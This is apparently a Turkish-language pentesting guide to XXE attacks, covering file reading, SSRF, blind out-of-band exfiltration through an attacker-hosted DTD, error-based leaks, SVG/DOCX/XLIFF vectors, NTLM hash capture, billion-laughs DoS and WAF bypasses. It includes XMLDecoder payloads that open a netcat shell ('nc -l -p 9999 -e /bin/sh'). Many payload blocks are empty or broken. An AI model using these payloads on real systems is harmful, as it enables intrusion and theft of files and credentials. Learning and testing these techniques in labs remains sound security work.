# XXE - XEE - XML Dış Varlığı {{#include ../banners/hacktricks-training.md}} ## XML Temelleri XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolü nedeniyle hala önemlidir. - **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` gibi özel karakterlerin temsilini sağlar; bu karakterler XML'in etiket sistemi ile çakışmayı önlemek için `<` ve `>` ile karşılık gelir. - **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanabilir. - **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder. - **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: ` ]>` - **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır. - ` ]>` - ` ]>` ## Ana saldırılar [**Bu saldırıların çoğu, harika Portswiggers XEE laboratuvarları kullanılarak test edilmiştir: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### Yeni Varlık testi Bu saldırıda, basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim. ```xml ]> &toreplace; 1 ``` ![](<../images/image (870).png>) ### Dosya oku Farklı yollarla `/etc/passwd` dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts` Bu ilk durumda, SYSTEM "_**file:///**etc/passwd_" ifadesinin de çalışacağını unutmayın. ```xml ]> &example; ``` ![](<../images/image (86).png>) Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil) ```xml ]> &example; ``` Bu üçüncü durumda `Element stockCheck` ifadesini ANY olarak tanımladığımıza dikkat edin. ```xml ]> &file; 1 ``` ![](<../images/image (753).png>) ### Dizin listeleme **Java** tabanlı uygulamalarda, XXE aracılığıyla bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (dosya yerine sadece dizini istemek): ```xml &xxe; ]>&xxe; ``` ### SSRF Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabilir. ```xml ]> &xxe;1 ``` ### Blind SSRF Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak onun savunmasız olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz: ```xml %xxe; ]> 3;1 ``` ### "Kör" SSRF - Veriyi dışarıya sızdırma **Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla dışarıya sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswigger laboratuvarı burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.** Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir: ### Kötü Niyetli DTD Örneği: Yapı şu şekildedir: ```xml "> %eval; %exfiltrate; ``` Bu DTD tarafından yürütülen adımlar şunlardır: 1. **Parametre Varlıklarının Tanımı:** - Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur. - Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır. 2. **Varlıkların Yürütülmesi:** - `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik tanımının yürütülmesine yol açar. - Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir. Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle `http://web-attacker.com/malicious.dtd` gibi bir URL'de. **XXE Yükü:** Zayıf bir uygulamayı istismar etmek için saldırgan bir XXE yükü gönderir: ```xml %xxe;]> 3;1 ``` Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından ayrıştırıcı, DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar. ### Hata Tabanlı (Dış DTD) **Bu durumda, sunucunun bir hata mesajı içinde bir dosyanın içeriğini gösterecek kötü niyetli bir DTD yüklemesini sağlayacağız (bu, hata mesajlarını görebiliyorsanız geçerlidir).** [**Buradan örnek.**](https://portswigger.net/web-security/xxe/blind) Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir: 1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir. 2. `eval` adında bir XML parametre varlığı tanımlanır ve bu, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır. 3. `eval` varlığı çağrılır, bu da `error` varlığının dinamik tanımını oluşturur. 4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir. Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir: ```xml %xxe;]> 3;1 ``` Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir hata mesajı içermelidir. ![](<../images/image (809).png>) _**Dış DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiğini, ancak iç DTD'de bunun yasak olduğunu lütfen unutmayın. Bu nedenle, genellikle dış DTD kullanmadan bir hatayı zorlayamazsınız.**_ ### **Hata Tabanlı (sistem DTD)** Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz (dış bağlantılar mevcut değil)? XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dışa dönük bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler. Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir: ```xml "> %eval; %error; '> %local_dtd; ]> ``` Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir: - `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir. - Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, bir ayrıştırma hatası oluşturmak için tasarlanmıştır ve `/etc/passwd` dosyasının içeriğini açığa çıkarır. - `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismara yönelik hata mesajının iletilmesine neden olur. **Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir. ```xml "> %eval; %error; '> %local_dtd; ]> 3;1 ``` ![](<../images/image (625).png>) Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurarak** ve bazı varsayılan DTD'leri **arama yaparak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz: ```xml %local_dtd; ]> ``` Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresini kontrol edin. ### Sistemde DTD'leri Bulma Aşağıdaki harika github reposunda **sistemde mevcut olabilecek DTD'lerin yollarını** bulabilirsiniz: {{#ref}} https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} Ayrıca, eğer **kurban sisteminin Docker imajına** sahipseniz, aynı repo içindeki aracı kullanarak **imajı tarayabilir** ve sistemde mevcut olan **DTD'lerin** yolunu **bulabilirsiniz**. Nasıl yapılacağını öğrenmek için [Github'ın Readme'sini](https://github.com/GoSecure/dtd-finder) okuyun. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` ### XXE via Office Open XML Parsers Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**. **Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir. Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır. Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir. Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir. Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır: Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir. ### Jar: protocol **jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzaktan dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` > [!CAUTION] > PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd). PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir: 1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır. 2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır. 3. Arşiv, içeriğine erişmek için çıkarılır. 4. Arşiv içindeki belirli dosya, `file.zip`, okunur. 5. İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir. Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır. ```xml ]> &xxe; ``` > [!DİKKAT] > Geçici bir dizine dosya yazmak, **bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi). ### XSS ```xml script]]>alert(1)/script]]> ``` ### DoS #### Milyonlarca Kahkaha Saldırısı ```xml ]> &a4; ``` #### Yaml Saldırısı ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` #### Kuadratik Patlama Saldırısı ![](<../images/image (527).png>) #### NTML Alma Windows sunucularında, bir responder.py işleyicisi ayarlayarak web sunucusu kullanıcısının NTML hash'ini almak mümkündür: ```bash Responder.py -I eth0 -v ``` ve aşağıdaki isteği göndererek ```xml ]> &example; ``` Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz. ## Gizli XXE Yüzeyleri ### XInclude Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından üretilen bir XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir. Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır: ```xml productId=&storeId=1 ``` Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin! ### SVG - Dosya Yükleme Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır. Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir. Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir: ```xml ``` Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları çalıştırmayı** denemeyi içerir: ```xml ``` SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulaması ve güvenlik önlemlerine olan ihtiyacı vurgular. Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin! **Okunan dosyanın veya yürütme sonucunun ilk satırı, oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.** ### **PDF - Dosya yükleme** Aşağıdaki gönderiyi okuyarak **bir PDF dosyasını yükleyerek XXE'yi nasıl istismar edeceğinizi öğrenin:** {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}} ### İçerik Türü: x-www-urlencoded'dan XML'e Eğer bir POST isteği verileri XML formatında kabul ediyorsa, o istekte bir XXE'yi istismar etmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar ``` O zaman aşağıdaki isteği aynı sonuçla gönderebilirsiniz: ```xml POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar ``` ### Content-Type: JSON'dan XEE'ye İsteği değiştirmek için “**Content Type Converter**” adlı bir Burp Eklentisi kullanabilirsiniz. [Burada](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) bu örneği bulabilirsiniz: ```xml Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "city": "ddd", "postalCode": "ddd" }}} ``` ```xml Content-Type: application/xml;charset=UTF-8 ]> &xxe; United States ddd ddd ``` Başka bir örnek [burada](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) bulunabilir. ## WAF & Koruma Aşma ### Base64 ```xml %init; ]> ``` Bu yalnızca XML sunucusu `data://` protokolünü kabul ediyorsa çalışır. ### UTF-7 Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7)%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- ``` ```xml +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` ### File:/ Protokol Atlatma Eğer web PHP kullanıyorsa, `file:/` yerine **php wrappers**`php://filter/convert.base64-encode/resource=` kullanarak **iç dosyalara** erişebilirsiniz. Eğer web Java kullanıyorsa [**jar: protokolünü**](xxe-xee-xml-external-entity.md#jar-protocol) kontrol edebilirsiniz. ### HTML Varlıkları [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden bir hile\ Bir **varlık içinde bir varlık** oluşturabilir, bunu **html varlıkları** ile kodlayabilir ve ardından **dtd yüklemek** için çağırabilirsiniz.\ Kullanılan **HTML Varlıkları**'nın **sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> &exfil; ``` DTD örneği: ```xml "> %abt; %exfil; ``` ## PHP Sarıcıları ### Base64 **Çıkar** _**index.php**_ ```xml ]> ``` #### **Dış kaynağı çıkar** ```xml ]> ``` ### Uzaktan kod yürütme **Eğer PHP "expect" modülü yüklüyse** ```xml ]> &xxe; mypass ``` ## **SOAP - XEE** ```xml %dtd;]>]]> ``` ## XLIFF - XXE Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenmiştir. XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür. ### Blind Request Analizi Aşağıdaki içerikle sunucuya bir istek yapılır: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bildirimleriyle ilgili bir sorun olduğunu belirtir: ```json { "status": 500, "error": "Internal Server Error", "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." } ``` Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir etkileşim seviyesini gösterir. Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır. Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır: ```xml "> %foo; %xxe; ``` Sunucu, mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor, bu da sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` Hata mesajında dosya içeriğini dahil etmek için, DTD dosyası ayarlanır: ```xml "> %foo; %xxe; ``` Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML Dış Varlık) saldırısını gösterir. ## RSS - XEE XXE zafiyetini istismar etmek için geçerli RSS formatında XML. ### Ping back Saldırganın sunucusuna basit bir HTTP isteği ```xml /rssXXE" >]> XXE Test Blog http://example.com/ XXE Test Blog Mon, 02 Feb 2015 00:00:00 -0000 &xxe; http://example.com Test Post author@example.com Mon, 02 Feb 2015 00:00:00 -0000 ``` ### Dosyayı Oku ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ### Kaynak kodunu oku PHP base64 filtresi kullanarak ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ## Java XMLDecoder XEE to RCE XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder. ### Using Runtime().exec() ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ### ProcessBuilder ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ## XXE + WrapWrap + Lightyear + bypasses Bu harika rapora bir göz atın [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/) ## Araçlar {{#ref}} https://github.com/luisfontes19/xxexploiter {{#endref}} ### Python lxml Parametre-Varlık XXE (Hata Tabanlı Dosya Açığa Çıkarma) > [!INFO] > Python kütüphanesi **lxml**, arka planda **libxml2** kullanır. **lxml 5.4.0 / libxml2 2.13.8** sürümlerinden önce, `resolve_entities=False` olduğunda bile *parametre* varlıklarını genişletir, bu da uygulama `load_dtd=True` ve/veya `resolve_entities=True` etkinleştirildiğinde erişilebilir hale getirir. Bu, yerel dosyaların içeriğini ayrıştırıcı hata mesajına gömen Hata Tabanlı XXE yüklerini mümkün kılar. #### 1. lxml < 5.4.0'ı Sömürmek 1. Diskte **tanımsız** bir parametre varlığını tanımlayan veya oluşturan bir *yerel* DTD belirleyin (örneğin, `%config_hex;`). 2. Aşağıdakileri yapan bir iç DTD oluşturun: * Yerel DTD'yi `` ile yükler. * Tanımsız varlığı yeniden tanımlar, böylece: - Hedef dosyayı okur (``). - `%flag;` değerini içeren **geçersiz bir yol** referans veren başka bir parametre varlığı oluşturur ve bir ayrıştırıcı hatası tetikler (`">`). 3. Son olarak, `%local_dtd;` ve `%eval;` genişletin, böylece ayrıştırıcı `%error;` ile karşılaşır, `/aaa/` dosyasını açamaz ve bayrağı fırlatılan istisna içinde açığa çıkarır – bu genellikle uygulama tarafından kullanıcıya geri döner. ```xml "> %eval;'> %local_dtd; ]> ``` Uygulama istisnayı yazdırdığında, yanıt şunları içerir: ``` Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` > [!TIP] > Eğer ayrıştırıcı iç alt küme içinde `%`/`&` karakterleri hakkında şikayet ediyorsa, bunları çift kodlayın (`&#x25;` ⇒ `%`) genişlemeyi geciktirmek için. #### 2. lxml 5.4.0 sertleştirmesini atlamak (libxml2 hala savunmasız) `lxml` ≥ 5.4.0, yukarıdaki gibi *hata* parametre varlıklarını yasaklar, ancak **libxml2** bunların *genel* bir varlık içinde gömülmesine hala izin verir. Hile şudur: 1. Dosyayı bir parametre varlığı `%file` içine okuyun. 2. **Genel** bir varlık `c` oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı, `meow://%file;` gibi *mevcut olmayan bir protokol* kullanır. 3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında tam URI'yi – dosya içeriği de dahil – yansıtır. ```xml "> '> 